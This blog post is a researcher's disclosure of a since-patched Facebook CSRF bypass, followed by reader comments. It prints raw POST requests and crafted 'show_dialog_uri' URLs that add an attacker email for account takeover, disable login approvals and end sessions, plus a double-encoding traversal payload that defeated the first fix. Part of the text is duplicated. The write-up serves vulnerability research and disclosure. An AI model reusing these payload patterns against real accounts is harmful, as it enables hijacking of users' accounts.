How I bypassed Facebook CSRF Protection
I discovered a critical vulnerability in Facebook that allowed an attacker to bypasses Facebook CSRF protection!
more information about CSRF at owasp
'fb_dtsg' Anti-CSRF token supposed to get validated at server-side
and if an action request doesn't that token, Facebook will drop the request without any process on it!
( not all actions ;-) )
I start tests on migration flow and before the migration, Facebook show me this URL
https://www.facebook.com/ads/manage/home/?account_id=XXXX&show_dialog_uri=/ads/manage/error/graydisabled/?account_id=XXXX
in that page, a dialog showed up for update gray account to personal account !
I checked connections in page load and saw a request was sent to "/ads/manage/error/graydisabled/?account_id=XXXX"
I looked at this request and something attract me
account_id was sent in request URL and body!
so I change it to "https://www.facebook.com/ads/manage/home/?show_dialog_uri=/ads/manage/error/graydisabled/?aaaa=XXXX"
and the request after page load :
CSRF Token, custom field in body and a relative URL in Facebook
So I used this to bypass Facebook CSRF protection! :D
more information about CSRF at owasp
'fb_dtsg' Anti-CSRF token supposed to get validated at server-side
and if an action request doesn't that token, Facebook will drop the request without any process on it!
( not all actions ;-) )
I start tests on migration flow and before the migration, Facebook show me this URL
https://www.facebook.com/ads/manage/home/?account_id=XXXX&show_dialog_uri=/ads/manage/error/graydisabled/?account_id=XXXX
in that page, a dialog showed up for update gray account to personal account !
I checked connections in page load and saw a request was sent to "/ads/manage/error/graydisabled/?account_id=XXXX"
POST /ads/manage/error/graydisabled/?account_id=XXXX HTTP/1.1
Host: www.facebook.com
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie:
Content-Type: application/x-www-form-urlencoded
account_id=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=
I looked at this request and something attract me
account_id was sent in request URL and body!
so I change it to "https://www.facebook.com/ads/manage/home/?show_dialog_uri=/ads/manage/error/graydisabled/?aaaa=XXXX"
and the request after page load :
POST /ads/manage/error/graydisabled/?aaaa=XXXX HTTP/1.1
Host: www.facebook.com
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie:
Content-Type: application/x-www-form-urlencoded
aaaa=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=
CSRF Token, custom field in body and a relative URL in Facebook
So I used this to bypass Facebook CSRF protection! :D
List:
All actions could used here,this list is example
-----------------------------------------
links are working with this prefix : https://www.facebook.com/Change language to Persian :
/ads/manage/home/?show_dialog_uri=/ajax/settings/account/language.php?new_language=fa_IR
Add email [email protected] to account :
Account takeover :)
/ads/manage/home/?show_dialog_uri=/settings/email/add/submit/[email protected]
turn off login approval
/ads/manage/home/?show_dialog_uri=/ajax/settings/security/approvals.php?just_enabled_approvals=0
Logout all mobile
/ads/manage/home/?show_dialog_uri=/ajax/settings/mobile/lost_phone.php
Logout all sessions
/ads/manage/home/?show_dialog_uri=/ajax/settings/security/sessions/stop_all.php
After this fix
I couldn't change prefix ! show_dialog_uri should have this prefix "/ads/manage/error/graydisabled/?"
I tried "/ads/manage/error/graydisabled/?/test/test/"
but after "?" all of "/" convert to "%2F"
and I couldn't able to change current directory !
Fnally, I bypassed the fix with double encoding!
%253F
AsyncDialog remove this char and send request ;)
this was the last url :
https://www.facebook.com/ads/manage/home/?account_id&show_dialog_uri=%2Fads%2Fmanage%2Ferror%2Fgraydisabled%2F%253F%2F..%2F..%2F..%2F..%2F..%2Fsettings%2Femail%2Fadd%2Fsubmit%2F%3Fnew_email%3Dpouya%40darabi.me
"show_dialog_uri" removed by Facebook Security Team! ;)
Timeline:
- Mar 29 2015 04:07pm : Initial report
- Mar 29 2015 09:15pm : Add more details
- Mar 30 2015 12:57am : Bug acknowledged by security team
- Mar 30 2015 02:10am : Temporary fix was pushed
- Mar 30 2015 02:52am : I replay it with a way for bypass
- Mar 30 2015 03:19am : Bypass blocked
- Mar 31 2015 07:10am: Facebook Security Team rewarded me with a $15,000.
Impressive and Nice Catch :)
ReplyDeleteThanks Mohamed ;)
DeleteWoooW Great exploit :)
ReplyDeleteThanks :)
DeleteAwesome :)
ReplyDeletethanks :)
DeleteHi Pouya,
ReplyDeleteCongrats a lot, awesome finding :)
It would have also worked even if that account_id parameter didn't appear inside body for parameterless requests, right?
Hi
DeleteThanks :)
in first request,yes
parameter in query string is enough!
hmm, logout all mobile & logout all sessions would also work ;)
DeleteAre those only 2 bugs that made you 2nd in Facebook HOF?
2+1 bug ;)
DeleteOh! So you've already earned more than 23k?
DeleteWhy didn't you write about the other one or is it about to come?
hehe, just being curious :)
yes, in future, I will write about other bug i found!
DeleteCongrats pouya ;)
ReplyDeleteThank You :D
DeleteAwesome and impressive catch :)
ReplyDeleteThank you Shailesh :)
DeleteNice one sir :D
ReplyDeleteThanks ;)
Deletenice catch ! awesome !
ReplyDeleteAwesome Vulnerability Hunting ;-)
ReplyDeleteThanks bro ;)
Deletenace work rabi wafag
ReplyDeleteGreat find.
ReplyDeleteThis comment has been removed by the author.
ReplyDeleteNice hunting
ReplyDeletenice work man
ReplyDeleteIt was a nice find great work
ReplyDeleteCommon Sense prevails...good catch buddy :)
ReplyDeleteSalam
ReplyDeleteKhoshhal misham agar research+bug+... dar zone amniat dashtid baraie ma ham ersal konid :)
www.securitylab.ir
Salam
DeleteHatman ;)
This comment has been removed by the author.
ReplyDeleteNice finding.
ReplyDeleteBetween Couldn't have the CRLF injection worked here?
Thanks, no it wasn't vulnerable to such attacks
DeleteI like to know how can i use this trick against "facebook dialog box" to click to confirmation button programaticaly?
ReplyDeleteThis comment has been removed by the author.
ReplyDeletethank you for your blog .wish you all the best .Facebook
ReplyDelete